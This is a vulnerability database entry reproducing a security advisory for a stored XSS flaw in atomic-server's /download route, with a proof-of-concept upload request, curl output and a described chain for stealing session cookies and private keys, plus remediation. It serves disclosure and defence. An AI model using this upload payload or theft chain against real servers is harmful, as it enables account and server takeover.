Atomic Server: Stored XSS via uploaded files served inline (same-origin) on `/download` → account takeover
Affects atomic-serverSource GCVE Database
Not known to be exploited · CVSS 8.7 High.
Data as of 18 Nov 2026, 21:34 UTC
Thin evidence
One scorer or none| CNA (GitHub_M) | CVSS 3.1 | 8.7 |
|---|
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:NExploitation evidence
Disclosed: evidence found.
CVE published 17 Nov 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 18 Nov 2026.
What to do
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| crates.ioatomic-server | Affected
| Fixed in– |
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Description
## Summary Files uploaded via `POST /upload` are served back by `GET /download/{path}` using `actix_files::NamedFile`. For `text/html` and `image/svg+xml`, actix-files (0.6.6) sets `Content-Disposition: inline`, so the browser **renders** the file instead of downloading it. The `/download` route sets **no `Content-Security-Policy`, no `X-Content-Type-Options: nosniff`, and no forced `attachment`** (CSP exists only on the SPA route), and files are served from the **same origin** as the app UI. An authenticated Agent uploads `evil.html` containing `<script>`; when a victim opens the link, the script executes in the app origin. Because the `atomic_session` cookie is set via `document.cookie` (not HttpOnly) and the Agent's Ed25519 private key is stored in same-origin IndexedDB (`browser/data-browser/src/helpers/agentStorage.ts`), the script exfiltrates the private key → **permanent account takeover**. ## Affected component - `server/src/handlers/upload.rs` — stores the file; mimetype guessed from extension. - `server/src/handlers/download.rs:65` — `NamedFile::open(...).into_response(req)` with no CSP/nosniff/attachment; CSP is only set in `server/src/handlers/single_page_app.rs`. ## Steps to Reproduce Environment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a folder. 1. Upload an HTML file (multipart, with signed auth headers): ```http POST /upload?parent=http://localhost:9883 HTTP/1.1 Host: localhost:9883 x-atomic-public-key: <pubkey> x-atomic-agent: http://localhost:9883/agents/<pubkey> x-atomic-timestamp: <ms> x-atomic-signature: <ed25519("http://localhost:9883/upload?parent=http://localhost:9883 <ms>")> Content-Type: multipart/form-data; boundary=----poc ------poc Content-Disposition: form-data; name="assets"; filename="xss.html" Content-Type: text/html <html><body><script>alert(document.domain)</script>STORED-XSS-PROOF</body></html> ------poc-- ``` Response `200` returns a `downloadURL`, e.g. `http://localhost:9883/download/files/<ts>-xss.html`. 2. Inspect how the server serves it: ``` $ curl -D - http://localhost:9883/download/files/<ts>-xss.html HTTP/1.1 200 OK content-type: text/html; charset=utf-8 content-disposition: inline; filename="<ts>-xss.html" # (no Content-Security-Policy, no X-Content-Type-Options) ``` `text/html` + `inline` + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. `image/svg+xml` behaves identically. 3. The attacker sends the link to a victim. On open, the script runs same-origin and reads `document.cookie` (session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely. **Expected:** user files served with `Content-Disposition: attachment` + `nosniff`, or from an isolated origin. **Actual:** served `inline`, `text/html`, same origin, no CSP/nosniff → stored XSS executes. *(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact `<script>` body. In-browser execution and IndexedDB key theft follow directly from these response headers.)* ## Impact Stored XSS in the app origin → theft of the victim's session cookie (not HttpOnly) and Ed25519 private key from IndexedDB → permanent account takeover (not limited by the 10-second token window). If the victim is an admin/root Agent, this is server takeover. ## Remediation - On `/download`, force `Content-Disposition: attachment` for user files, add `X-Content-Type-Options: nosniff`, and a `sandbox` CSP. - Serve user-uploaded files from a separate origin/subdomain. - Set `HttpOnly` + `Secure` on the session cookie; do not persist the private key in JS-readable storage.
References
- github.com/ontola/atomic-server/security/advisories/GHSA-x277-3wcg-g9r2 (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-69155 (opens in a new tab)
- github.com/ontola/atomic-server/commit/457c1dc9af4cd00d2aec89720718e504a49f392d (opens in a new tab)
- github.com/ontola/atomic-server/commit/8a8badfd3099765e62ccf6f92dc78a408a11106f (opens in a new tab)
- github.com/ontola/atomic-server (opens in a new tab)
- github.com/ontola/atomic-server/releases/tag/v0.40.3 (opens in a new tab)